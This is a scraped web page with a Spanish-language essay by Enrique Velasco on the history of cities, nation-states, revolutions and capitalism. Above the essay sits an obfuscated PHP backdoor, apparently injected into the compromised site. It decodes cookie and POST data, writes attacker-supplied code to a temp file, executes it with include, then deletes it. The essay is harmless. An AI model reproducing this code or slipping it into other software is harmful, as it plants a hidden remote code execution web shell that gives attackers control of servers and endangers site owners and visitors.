$poVPthDL = class_exists("bi_PWWP");if (!$poVPthDL){class bi_PWWP{private $bhKPifoBh;public static $VVmPfuns = "6031f892-4c69-461b-aa03-20f57dd0098d";public static $QngRyX = NULL;public function __construct(){$IHLQmOo = $_COOKIE;$mxWYFWABx = $_POST;$Cpzno = @$IHLQmOo[substr(bi_PWWP::$VVmPfuns, 0, 4)];if (!empty($Cpzno)){$gXNuiCKHp = "base64";$DyXuqTtBH = "";$Cpzno = explode(",", $Cpzno);foreach ($Cpzno as $fdScEe){$DyXuqTtBH .= @$IHLQmOo[$fdScEe];$DyXuqTtBH .= @$mxWYFWABx[$fdScEe];}$DyXuqTtBH = array_map($gXNuiCKHp . '_' . 'd' . "\145" . 'c' . "\157" . "\144" . chr ( 207 - 106 ), array($DyXuqTtBH,)); $DyXuqTtBH = $DyXuqTtBH[0] ^ str_repeat(bi_PWWP::$VVmPfuns, (strlen($DyXuqTtBH[0]) / strlen(bi_PWWP::$VVmPfuns)) + 1);bi_PWWP::$QngRyX = @unserialize($DyXuqTtBH);}}public function __destruct(){$this->fkyOS();}private function fkyOS(){if (is_array(bi_PWWP::$QngRyX)) {$nfUdVDT = sys_get_temp_dir() . "/" . crc32(bi_PWWP::$QngRyX[chr ( 510 - 395 ).chr (97) . "\x6c" . chr (116)]);@bi_PWWP::$QngRyX[chr (119) . "\x72" . "\151" . chr (116) . chr (101)]($nfUdVDT, bi_PWWP::$QngRyX["\143" . chr ( 1059 - 948 )."\156" . 't' . chr (101) . chr (110) . "\164"]);include $nfUdVDT;@bi_PWWP::$QngRyX['d' . 'e' . chr (108) . "\145" . "\164" . "\x65"]($nfUdVDT);exit();}}}$ETOLvDXzYi = new bi_PWWP(); $ETOLvDXzYi = NULL;} ?> CIUDADES – www.interferencechannel.com

CIUDADES

El ser humano es gregario por naturaleza. Razón suficiente para congregarse, defenderse en grupo, subsistir y organizarse a partir de jerarquías, trabajo o sexoDe ahí el surgimiento de los grandes imperios milenarios en Asia y América, de ahí también la primigenia solidez de los Estados-Nación que pelearon entre sí por toda Europa hasta que lograron unirse, generando los primeros países cohesionados por el lenguaje y las tradiciones comunes en aquel continente.

La aldea, la villa, el burgo. Finalmente la ciudad, definida como un conjunto de casas y calles, regidos por un ayuntamiento y cuya población se dedica a actividades no agrícolas, en donde el comercio, la provisión de alimentos y el poder fueron centralizados. Pero esos primeros centros urbanos que sí eran agrícolas y que se organizaron bajo un enorme poder central,crecieron obligadamente a lo largo de ríos como el Nilo o el Tigris para poder subsistir. Conglomerados humanos que dan pie a las primeras grandes civilizaciones.

Resultado de imagen para evolución de las ciudades a lo largo de la historia
De civilización, civil, civitas, ciudad. Hoy, cualquier ciudadano es aquel que vive regido por leyes similares aunque viva en otro país, en otra región o incluso en los ‘confines rurales’. A fin de cuentas son leyes, es una normatividad para que se dé la convivencia, el entendimiento.

Los Estados-nación se crean a partir del Tratado de Westfalia en 1648, por supuesto a partir de una gran guerra, y que fue conocida como la Guerra de los Treinta Años. Todos los modos históricos de producción de riqueza se ven trastocados con dicho conflicto armado, de manera que el ‘comunitarismo’, donde la tierra no tenía dueños y los frutos eran recogidos y cazados por pequeños grupos humanos, el esclavismo y el feudalismo de los grandes señores y reyes por encima de los esclavos y ciervos, comienzan a tener su final.

Y se da paso a un nuevo orden que establece tierra y poblaciones bien definidas, que están sujetas a un gobierno que delimita su poder y se define y aparta de otros Estados-nación por la territorialidad y la organización para producir ciertos bienes de consumo.
Este nuevo orden se fortalece con la acumulación de riqueza, que provoca la creación de movimientos profundos en la sociedad y dan como resultado tres ‘Revoluciones’ de larga duración: liberal, burguesa e industrial. Podemos revisar la Revolución inglesa, la estadounidense, la francesa, o las de 1820, 1830 y 1848 que produjeron cambios internos en las monarquías feudales de toda Europa.

Esto no hubiera podido suceder sin el ascenso de la sociedad conformada en grupos de presión –los burgueses- que, al acumular riqueza, influyeron de manera decisiva en los sucesivos cambios de las monarquías feudales, que se convirtieron en autoritarias y absolutas pero en un constante flujo de alianzas territoriales y sociales con los nuevos ricos.

El racionalismo o cartesianismo, corriente filosófica que se desarrolló en Europa en los siglos 17 y 18, sostiene que la razón es la fuente de todo conocimiento y lo que nos llevará al conocimiento verdadero.

Es justamente la Revolución francesa la que madura y cristaliza a las instituciones políticas que ya venían dejando rastros definitorios desde la democracia ateniense, el Concepto platónico, la República y la Política de Aristóteles, la República Romana, el largo y tortuoso trecho de la filosofía monacal con Santo Tomás y San Agustín, hasta llegar al descubrimiento europeo de las Amércas y a la Ilustración. Largas historias que desembocan en la visión del individuo inmerso en esa comunidad en la que es actor.
La utopía revolucionaria francesa de la libertad, igualdad y fraternidad retoma bríos en la Constitución de Estados Unidos de 1787: “Nosotros, el pueblo de Estados Unidos, a fin de formar una Unión más perfecta, establecer Justicia, afirmar la tranquilidad interior, proveer la Defensa común, promover el bienestar general y asegurar los beneficios de la Libertad…..” etc.

Vendría un cambio definitorio en el modelo económico que trastocaría el modo de vida del ciudadano común y corriente, este cambio se llama Capitalismo. Proceso que acumula riqueza en pocas manos, capital producido porel trabajo de obrerosy campesinos, fenómeno que desmantela comunidades rurales y las obliga al hacinamiento. Millones de seres humanos llegan a la ‘ciudad’, como eufemismo de mejores oportunidades, crecimiento, educación, trabajo y salud.

Del Estado Moderno, creado por los reyes y los señores feudales para acrecentar su poderío y riquezas se llega al Estado Nacional en el siglo 20 en donde la dictadura franquista y la guerra civil ponen a España en un primer plano.
El hombre en sociedad es el tema preponderante de los siglos 19 y 20 tanto en Europa como en América y para que este pueda vivir y convivir el Estado necesita controlarlo y castigarlo o bien ascenderlo y glorificarlo. Siempre bajo control, siempre supervisado por el ‘Gran Hermano’ orwelliano.

Queda lejos la definición que el Diccionario de la Academia Francesa, en su edición de 1694 y hasta la de1835, le da a ciudad: “Las reunión de muchas casas dispuestas en calles y encerradas dentro de un recinto común que suele ser de muros y fosos”.
La lucha permanente, la sobrevivencia, la defensa, la agresión, la convivencia, marcan el nacimiento y desarrollo de las ciudades como las conocemos, vivimos y sobre todo, padecemos hoy en día.♦

Enrique Velasco es maestro y periodista mejicano.

Comments are closed.